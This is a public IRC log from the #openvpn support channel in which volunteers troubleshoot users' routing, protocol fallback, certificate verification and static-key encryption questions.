10:17 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:30 < midcom_> !paste
10:30 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
10:31 < midcom_> so this is what I'm seeing: http://pastebin.com/fqy1PxiE
10:31 < midcom_> server is pushing a route and route-gateway, but the client is complaining that there is no gateway
10:32 <@Ziber> What's the ifconfig-push line you're using?
10:32 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 245 seconds]
10:33 < midcom_> no idea, I have no control over the server side
10:33 < midcom_> :/
10:33 <@Ziber> Why? That's a weird setup.
10:34 < midcom_> It's a router with built-in VPN, so it has a GUI setup with very limited options
10:34 <@Ziber> Huh.
10:34 < midcom_> I can pick the port and protocol, basically
10:34 <@Ziber> What you just pasted is the client log?
10:34 < midcom_> yessir
10:35 <@Ziber> What happens with your VPN interface on the client? Do you see two addresses?
10:36 < midcom_> i see no inet addr on the tap0 interface
10:37 <@Ziber> Hrm.
10:37 <@Ziber> Sorry, I'm kinda new at this and also in class.
10:38 < midcom_> no worries
10:38 <@Ziber> I'd much prefer to have control over both sides.
10:40 <+pekster> midcom_: `route-gateway dhcp` is invalid
10:40 <+pekster> "dhcp" is not a valid gateway
10:41 <@Ziber> He said he can't control that though.
10:41 <@krzee> midcom_, what router are you using?
10:41 <+pekster> Oh, actually it is, though it probably isn't doing what you expected it to
10:41 <@krzee> does it run some special OPS?
10:42 -!- midcom_ [~midcom@rrcs-184-74-199-219.nyc.biz.rr.com] has quit [Ping timeout: 246 seconds]
10:42 <@krzee> OS*
10:45 <+pekster> krzee: I'd guess some netgear BS based on line 1 of that paste
10:46 <@krzee> netgear supporting openvpn?!?
10:46 <+pekster> "supporting"
10:46 <@krzee> even an attempt is more than i had heard of
10:47 <+pekster> Besidesi the obvious problems with GUI-only config (ugh, now they're as bad as any "provider") I have to wonder about the security of the CA/server-key too
10:49 -!- midcom_ [~midcom@rrcs-184-74-199-219.nyc.biz.rr.com] has joined #openvpn
10:49 <@krzee> midcom_, what os/firmware is your router?
10:52 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:55 <@krzee> if it is stock firmware, then what model?
10:57 < midcom_> R7000
10:57 < midcom_> stock fw, latest version
10:58 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
11:05 -!- Guest96267 [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
11:07 < midcom_> krzee, no sign of a stable DDWRT version, or I'd go that route
11:07 <@krzee> wow awesome
11:08 < midcom_> yeah, that's what I get for getting the latest and greatest...
11:08 <@krzee> they really do have a firmware where they're trying to get openvpn going
11:08 <+pekster> Except they apparently offer next to no configuration features and it "doesn't magically work" out of the box
11:09 < midcom_> seems like they're only concerned about the windows side of things
11:09 <@krzee> well ya, i get that it probably sucks, but hey if they have started to try maybe it'll get better
11:09 <@krzee> i'ld like to see more routers and OS's supporting openvpn
11:11 <@krzee> (like out of the box)
11:11 <+pekster> midcom_: You might try having your OS automatically try and dhcp on that interface when it comes up, or call it in a --route-up script
11:11 <+pekster> `--route-gateway dhcp` tries to be clever about putting the gateway from a server-side DHCP request, but it looks like that might not be happening properly
11:11 <+pekster> What is 192.168.5.1 in your environment?
11:12 < midcom_> I've got two routers, xxx.2.1 is the one that has VPN, xxx.5.1 is the one I'm testing from. both have different external IPs
11:15 < midcom_> so I typically stay connected to the xxx.5.1 router, unless I need to change some settings on the other one
11:15 <+pekster> So 192.168.5.1 is the client's local gateway on its physical link?
11:15 < midcom_> ya
11:17 <+pekster> Like 13 is apparently picking up on that as the route-gateway due to the 'dhcp' option, though that's not probably not the expected result. I've no clue why they can't just provide an IP to the client like normal instead of whatever black-magic they're trying (and failing, apparently) to do there
11:17 <+pekster> You haven't done something goofy like bridge your wlan0 and tap0 interface on the client, have you?
11:18 < midcom_> afaik, no
11:19 < midcom_> not entirely sure how I would check that, though
11:19 <+pekster> Oh, and the push has other problems too, like the fact that 192.168.2.1/24 isn't a valid network (it's a host+mask combination)
11:21 < midcom_> could I override and ignore the push, by setting more appropriate options in the config file?
11:34 -!- Denial- [Denial@2.223.161.125] has joined #openvpn
11:35 -!- Denial [Denial@90.216.209.93] has quit [Ping timeout: 246 seconds]
11:35 -!- Denial- is now known as Denial
11:43 -!- midcom_ [~midcom@rrcs-184-74-199-219.nyc.biz.rr.com] has quit [Ping timeout: 240 seconds]
11:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
11:46 < ompaul> pekster rob0 krzee thank you for the data on Sunday, it worked a treat.
11:49 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
12:34 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:41 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:42 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:44 -!- novaflash_away is now known as novaflash
12:46 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 245 seconds]
12:50 -!- Devastator_ [~devas@186.214.110.23] has joined #openvpn
12:51 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 264 seconds]
12:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
13:01 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
13:03 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
13:05 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
13:11 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has joined #openvpn
13:12 -!- mode/#openvpn [+o debbie10t] by ChanServ
13:13 <@debbie10t> if some guy is offering to hire me for help on the forum is there any reason you don't want me to respond - it looks like i could sort out his issue but i don't want to break any rules ?
13:16 <@ecrist> we prefer you do it openly on the forum
13:16 <@ecrist> if there's a big-ish project someone wants you to do, knock yourself out
13:16 <@debbie10t> ok - thanks .. i understand
13:29 -!- mattock is now known as mattock_afk
13:35 -!- gourneau [~Adium@12.27.71.34] has joined #openvpn
13:38 -!- novaflash is now known as novaflash_away
13:38 -!- gourneau [~Adium@12.27.71.34] has left #openvpn []
13:38 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:44 -!- novaflash_away is now known as novaflash
13:48 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
13:52 -!- ompaul [~ompaul@unaffiliated/ompaul] has quit [Quit: and zebedee said its time for other stuff]
14:05 -!- novaflash is now known as novaflash_away
14:06 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
14:10 -!- novaflash_away is now known as novaflash
14:15 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 246 seconds]
14:15 -!- Denial [Denial@2.223.161.125] has quit [Write error: Broken pipe]
14:16 -!- BtbN [znc@btbn.de] has quit [Quit: Bye]
14:20 -!- BtbN [znc@btbn.de] has joined #openvpn
14:28 -!- havoc_ is now known as havoc
14:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
14:30 -!- AginLap [~AginLap@82.116.81.249] has joined #openvpn
14:30 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
14:30 -!- mode/#openvpn [+o dazo_afk] by ChanServ
14:30 -!- dazo_afk is now known as dazo
14:31 -!- AginLap [~AginLap@82.116.81.249] has quit [Client Quit]
14:33 -!- AginLap [~AginLap@tsn85-159-236-214.dyn.nltelcom.net] has joined #openvpn
14:59 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has joined #openvpn
15:06 -!- debbie10t [~ma1com10t@host-92-20-33-196.as13285.net] has left #openvpn []
15:10 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
15:11 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
15:13 -!- occup4nt is now known as occupant
15:13 < uniqdom> Hi OpenVNP community.
15:13 < uniqdom>  In my high school have blocked all but 80 and 443 tcp ports. So, I'm using openvpn server in my home attached to 443 tcp port. I haven't test it yet, but I have read that tcp over tcp is not a good scheme (tcp meltdown). As I will be moving to different networks (let's say friend's home, and restaurants with free wifi...), there will be times were 1194 port will not be blocked, so I want to have another openvpn daemon running on 1194 udp
15:13 < uniqdom> in my home to not have that tcp over tcp problem every time.
15:14 < uniqdom> My question is, How can I control the client side, to prefer udp instead tcp?
15:14 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has quit [Ping timeout: 253 seconds]
15:15 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has joined #openvpn
15:15 -!- Cubox [cubox@unaffiliated/cubox] has quit [Quit: WeeChat 0.4.2-rc2]
15:18 < HectorBarbossa> !paste test
15:18 < HectorBarbossa> I'm not sure what I expected
15:18 < uniqdom> does it have to be manually?
15:18 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
15:19 < HectorBarbossa> uniqdom: team viewer?
15:19 < HectorBarbossa> teamviewer*
15:20 <+pekster> uniqdom: You can include multiple --remote statements in your config and they will be tried in the order they appear unless you use --remote-random
15:21 < uniqdom> pekster: thanks I will try to search more about that
15:22 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has quit [Ping timeout: 246 seconds]
15:22 < uniqdom> HectorBarbossa: this is not related to teamviewer
15:22 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has joined #openvpn
15:23 < HectorBarbossa> use teamviewer to control the client side at home I mean
15:23 < HectorBarbossa> oh I get it
15:23 < HectorBarbossa> sorry, carry on
15:23 < uniqdom> np
15:32 < uniqdom> pekster: I think that "remote" was the option that I was looking for to change the port number, but I can't change the type of protocol used, because it is defined in "proto" and not in "remote"
15:33 < uniqdom> may i use multiple "proto" ?
15:37 -!- yoda___ [~luca@dynamic-adsl-84-222-65-138.clienti.tiscali.it] has joined #openvpn
15:37 < yoda___> hi
15:37 < yoda___> I can't connect with openvpn 2.2
15:37 < yoda___> I have tried even 2.3.2 but it can't install neither
15:37 < yoda___> can anyone help me?
15:38 < uniqdom> is a installation problem? or a connection problem?
15:38 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Quit: Lost terminal]
15:38 < yoda___> I can install 2.2 and create keys
15:38 < yoda___> then it give me this errors
15:38 < yoda___> wait I paste
15:38 < yoda___> on external pastebin
15:38 < yoda___> :D
15:38 < yoda___> :P
15:38 < yoda___> I don't want to spam here :P
15:39 -!- GiBa [~GiBa@unaffiliated/giba] has joined #openvpn
15:39 < GiBa> hi guys
15:39 < GiBa> is there any way to disable TLS ?
15:40 < yoda___> http://pastebin.com/1FrDWnY0
15:41 < uniqdom> i'm not sure, but i think that the connection is ok, but the certifcate is not
15:41 < yoda___> I had problem with that
15:41 < yoda___> I fixed
15:41 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
15:41 < uniqdom> Tue Nov 05 21:49:51 2013 TLS_ERROR: BIO read tls_read_plaintext error: error:140
15:41 < uniqdom> 90086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
15:42 < yoda___> it didn't found c:\openssl\ssl
15:42 < yoda___> I have moved it on that path
15:42 < yoda___> what does that mean?
15:42 < yoda___> I run a client
15:42 < yoda___> and launch from client ovpn
15:43 < yoda___> do you know what I have to fix ?
15:44 < uniqdom> there is a problem with the verification of the certificate (i think)
15:44 -!- C_Kode [~nunya@38.108.104.210] has quit [Quit: Leaving]
15:45 < yoda___> this is a problem to fix "OpenVPN 2.1 requires '--script-security 2' or hig her to call user-defined scripts or executables"
15:45 < yoda___> ah
15:45 -!- mmikeym [~mikeym@184.70.65.118] has quit [Ping timeout: 245 seconds]
15:46 < yoda___> Tue Nov 05 21:49:51 2013 VERIFY ERROR: depth=0, error=self signed certificate: / CN=f0ymlpfu2p4mha4j.jp/O=0pl84_mepwjmua/C=US Tue Nov 05 21:49:51 2013 TLS_ERROR: BIO read tls_read_plaintext error: error:140 90086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
15:46 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:46 < yoda___> it seems not mine certificate but the server certificate
15:46 < yoda___> I try to connect to a japan vpn
15:46 < yoda___> CN=f0ymlpfu2p4mha4j.jp
15:47 < yoda___> so can I chenge something in client ovpn to accept correctly the server certificate?
15:47 < yoda___> change*
15:48 < yoda___> I look for that error number
15:49 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 24.0/20130910160258]]
15:51 < uniqdom> sorry... I don't know to much about openvpn... maybe another user can help you
15:52 < GiBa>  is there any way to disable TLS ?
15:57 < yoda___> at remote .... 1194
15:57 < yoda___> I have to put Ip of the server I connect or my localhost?
15:58 < yoda___> I run the client
15:58 < uniqdom> in the client, remote should point to the server
15:58 <+pekster> GiBa: Read about symmetric crypto with a static key via the --static option. Optionally, use none of --tls-server, --tls-client, or --secret for completely unencrypted traffic
15:58 <+pekster> (at that point you might as well use GRE though)
16:00 < yoda___> ok tks
16:01 < GiBa> pekster: is it possible to use it with encryption but without TLS, cause the TLS key is public so it doesn't actually add security to the system
16:01 < GiBa> ?
16:01 <+pekster> It does. That's how asymmetric security works
16:01 < rob0> huh? How does a public key weaken security?
16:01 <+pekster> The _public_ keys are public. The _private_ keys are _not_ public
16:02 < GiBa> im in is in the public domain
16:02 <+pekster> You should do some reading on TLS and asymmetric cryptography becuase your information is way wrong. Start with wikipedia perhaps
16:02 < GiBa> :/
16:02 <+pekster> Asymmetric crypto is vasatly more secure to symmetric crypto
16:03 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
16:03 < GiBa> TLS is for handshake with a shared key
16:03 <+pekster> Nope
16:03 < rob0> oh I wouldn't say that pekster ... I would say there are a different set of potential weaknesses
16:03 < GiBa> so you are telling me that there is no way to have openvpn with encription without TLS ?
16:04 <+pekster> There is. Use static keys via --static
16:04 <+pekster> !statickey
16:04 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
16:04 < rob0> No one told you that. Pay attention
16:04 <+pekster> Be aware you are giving up the protection of perfect-forward-secrecy doing that
16:04 <+pekster> That said, it has potential advantages like no protocol fingerprint
16:04 -!- GiBa [~GiBa@unaffiliated/giba] has left #openvpn []
16:04 < rob0> We did tell you that you have a misconception about public key crypto.
16:04 < rob0> heh
16:04 <+pekster> Crypto R Hard.
16:05 -!- GiBa [~GiBa@unaffiliated/giba] has joined #openvpn
16:05 < GiBa> sy
16:05 < rob0> We did tell you that you have a misconception about public key crypto.
16:06 < GiBa> but if the TLS key is public, you cant MITM it
16:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
16:06 < GiBa> you an
16:06 < GiBa> *can*
16:06 < GiBa> sorry
16:07 <+pekster> That's also untrue. Your basic reading needs to start here: https://en.wikipedia.org/wiki/Public-key_cryptography
16:07 <@vpnHelper> Title: Public-key cryptography - Wikipedia, the free encyclopedia (at en.wikipedia.org)
16:07 <+pekster> Only the public key is public. The private key is a _secret_ and usually encrypted on a user's system that is more likely to be lost/stolen/compromized
16:08 < yoda___> @uniqdom Had I to install even OpenSSL ?
16:08 < yoda___> I moved the conf file to c/openssl/ssl directory I created
16:08 <+pekster> yoda___: Your problem is that the certificate the remote end is presenting can not be verified by your local CA
16:08 < yoda___> ah
16:09 < GiBa> ok pekster, ill go over the docs again
16:09 <+pekster> It sounds like the cert the remote end has was not signed by the same CA tied to the cert your client installed. You'll need to fix that before you can successfully authenticcate
16:09 < yoda___> so have you idea where I have to fix?
16:09 < GiBa> Thanks you guys!
16:09 <+pekster> Yes, follow the directions in the !howto more carefully, paying special attention to each step
16:09 <+pekster> You might be better off starting a fresh PKI if things are messed up now
16:10 <+pekster> (direct link at !pki)
16:10 < yoda___> I will check
16:10 < yoda___> thanks
16:10 -!- AginLap [~AginLap@tsn85-159-236-214.dyn.nltelcom.net] has quit [Quit: Leaving]
16:10 < uniqdom> pekster: I think that "remote" was the option that I was looking for to change the port number, but I can't change the type of protocol used, because it is defined in "proto" and not in "remote"
16:10 < yoda___> anyway what do you think of vpngate?
16:10 < uniqdom> may I use multiple "proto" ?
16:10 < yoda___> do you know it?
16:10 <+pekster> uniqdom: YOu need to read the manpage better. It says "--remote host [port] [proto]"
16:11 <+pekster> uniqdom: I'll leave the rest for you to read in the documentation
16:11 < yoda___> I thought to use ipredator but then I have found this vpngate that seem good and free
16:11 < yoda___> can I trust for you?
16:11 <+pekster> yoda___: We don't deal with, support, or recommend providers here. We work with openvpn, not every company that uses openvpn
16:11 < yoda___> ok
16:12 < uniqdom> thanks pekster
16:15 < uniqdom> my local man page differs from the one that is in the online documentation in openvpn.net.  --remote host [port] -> online documentation...  so you were right... thanks... I will play with it
16:16 <+pekster> You're probably view the 2.1 or 2.0.9 docs by mistake
16:16 <+pekster> !man
16:16 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
16:20 <@Ziber> [ziber@triton] (~) $ man friend
16:20 <@Ziber> No manual entry for friend
16:21 < yoda___> maybe it could be this
16:22 < yoda___> # If a tls-auth key is used on the server
16:22 < yoda___> # then every client must also have the key.
16:22 < yoda___> ;tls-auth ta.key 1
16:22 < yoda___> I ignore that key
16:22 < yoda___> an hypothesis
16:22 <+pekster> Not with a TLS verify error, no. If you even got that message it means your PKI is not set up correctly
16:22 < yoda___> :/
16:23 < yoda___> I don't know where to put hands
16:23 < yoda___> just try to generate again
16:23 < yoda___> any hint?
16:23 -!- GiBa [~GiBa@unaffiliated/giba] has left #openvpn []
16:26 < yoda___> maybe I had to install OpenSSL ?
16:26 < yoda___> instead of moving conf file at that path C/openssl/ssl
16:26 -!- master_o1_master [~master_of@p4FF2405A.dip0.t-ipconnect.de] has joined #openvpn
16:29 < yoda___> do you know a forum to open a discussion, maybe with written log more people can help me
16:29 < yoda___> have you one ?
16:29 -!- master_of_master [~master_of@p4FD7B894.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds]
16:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:34 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
16:35 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
16:45 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
16:49 -!- Ahrotahntee [~rhjones@unaffiliated/ahrotahntee] has joined #openvpn
16:49 < Ahrotahntee> !welcome
16:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
16:49 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:51 < Ahrotahntee> !howto
16:51 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
16:54 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:55 -!- wsky [~wsky@unaffiliated/cetra] has joined #openvpn
16:55 < wsky> !tunortap
16:56 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
16:56 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
16:56 -!- wsky [~wsky@unaffiliated/cetra] has left #openvpn []
16:59 < lupine> probably at the weekend
16:59 < lupine> whoops, wrong channel
17:00 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
17:03 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:03 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
17:04 -!- map is now known as Guest37537
17:05 -!- Guest96267 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
17:05 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 240 seconds]
17:12 -!- Guest37537 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 246 seconds]
17:14 -!- HyperGlide [~HyperGlid@182.151.165.160] has quit [Quit: Leaving...]
17:15 -!- yoda___ [~luca@dynamic-adsl-84-222-65-138.clienti.tiscali.it] has quit [Remote host closed the connection]
17:16  * lupine gets TLS Error: cannot locate HMAC in incoming packet from [AF_INET]86.10.214.153:53307
17:16 < lupine> "wat"
17:18 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:18 -!- xeqution [~z6@unaffiliated/z6] has joined #openvpn
17:19 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:20 -!- zedsix [~z6@unaffiliated/z6] has quit [Ping timeout: 240 seconds]
17:20 <+pekster> lupine: Likely places to look would be missing/mismatched --tls-auth or --comp-lzo settings
17:23 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
17:26 < lupine> mm, they all seem fine offhand
17:34 < lupine> got it
17:35 < lupine> the openvpn server restarted recently and some stale gre tunnel config got reactivated
17:42 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
17:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:09 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
18:14 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-rgqjvhfyqycyonsh] has quit [Excess Flood]
18:14 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-syayhpprlievcuuv] has joined #openvpn
18:17 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Excess Flood]
18:17 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
18:22 -!- raidz is now known as raidz_away
18:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
18:29 -!- kro[au] [~thatguy@209.141.41.57] has quit [Read error: Connection reset by peer]
18:31 -!- raidz_away is now known as raidz
18:31 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
19:05 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 246 seconds]
19:08 -!- Mike-- [mad@probie.xs4all.nl] has quit [Read error: Connection reset by peer]
19:08 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
19:30 -!- schnitzl [~schnitzl@dslb-188-105-235-050.pools.arcor-ip.net] has quit [Ping timeout: 252 seconds]
19:32 -!- schnitzl [~schnitzl@dslb-178-010-081-037.pools.arcor-ip.net] has joined #openvpn
19:32 -!- kro[au] [~thatguy@209.141.41.57] has joined #openvpn
19:56 -!- Carbon_Monoxide [~cmonxide@14.0.143.123] has joined #openvpn
19:56 -!- Carbon_Monoxide [~cmonxide@14.0.143.123] has left #openvpn []
20:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
20:18 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 272 seconds]
20:19 -!- klein [~klein@177.101.117.40] has joined #openvpn
20:19 -!- klein [~klein@177.101.117.40] has quit [Changing host]
20:19 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
20:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
20:26 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has quit [Ping timeout: 260 seconds]
20:35 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
20:43 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has joined #openvpn
20:43 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 260 seconds]
21:13 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Read error: Connection reset by peer]
21:13 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
21:22 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
21:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
21:36 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Excess Flood]
21:46 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
22:02 -!- uniqdom [~uniqdom@pc-238-64-100-190.cm.vtr.net] has quit [Ping timeout: 246 seconds]
22:03 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
22:07 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Ping timeout: 265 seconds]
22:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 240 seconds]
22:14 -!- Poster|x [~poster@cpe-173-88-41-216.columbus.res.rr.com] has joined #openvpn
22:15 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
22:16 -!- Probeus_ [probeus@probeus.no] has joined #openvpn
22:17 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
22:18 -!- rob0_ [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
22:19 -!- andi [~andi@unaffiliated/fr00d] has quit [Disconnected by services]
22:19 -!- andi___ [~andi@shell.sixhop.net] has joined #openvpn
22:19 -!- MorgyN_ [~mig@island.morgyn.org] has joined #openvpn
22:20 -!- aegis [~aegis@184.75.212.34] has joined #openvpn
22:22 -!- mattockl [~mattock@raidz.im] has joined #openvpn
22:22 -!- mattockl is now known as mattock
22:22 -!- mattock [~mattock@raidz.im] has quit [Changing host]
22:22 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
22:22 -!- mode/#openvpn [+o mattock] by ChanServ
22:22 -!- Fohlen- [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
22:23 -!- Netsplit *.net <-> *.split quits: MorgyN, Probeus, maskedlua, Serano, Poster, Fohlen, @mattock_afk, NET||abuse, rob0, mapito,  (+1 more, use /NETSPLIT to show all of them)
22:23 -!- Fohlen- is now known as Fohlen
22:25 -!- Serano [~serano@rooty.be] has joined #openvpn
22:26 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 245 seconds]
22:26 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-keybrkhvrrqzzibj] has quit [Ping timeout: 264 seconds]
22:28 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
22:31 -!- NET||abuse [~luke@86.6.148.64] has joined #openvpn
22:31 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
22:32 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-xkaruomyfhixtkdm] has joined #openvpn
22:52 -!- rob0_ is now known as rob0
23:07 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
23:16 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has joined #openvpn
23:17 < SebastianKreutzb> Hi! I am using the OpenVPN client for MacOSX and it’s a great out-of-the box solution. Now I need to exclude a certain IP from the VPN connection (I need to directly connect to it from my LAN) but somehow can not find the client.ovpn file on my computer? Is it compiled into the OpenVPN Connect application?
23:33 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 260 seconds]
23:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
23:45 -!- SebastianKreutzb [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has quit [Remote host closed the connection]
23:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
23:56 -!- sebastian_kreutz [~Sebastian@cip-109-107-37-39.gb1.brightbox.com] has joined #openvpn
23:56 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
23:56 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 252 seconds]
23:59 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
--- Day changed Wed Nov 06 2013
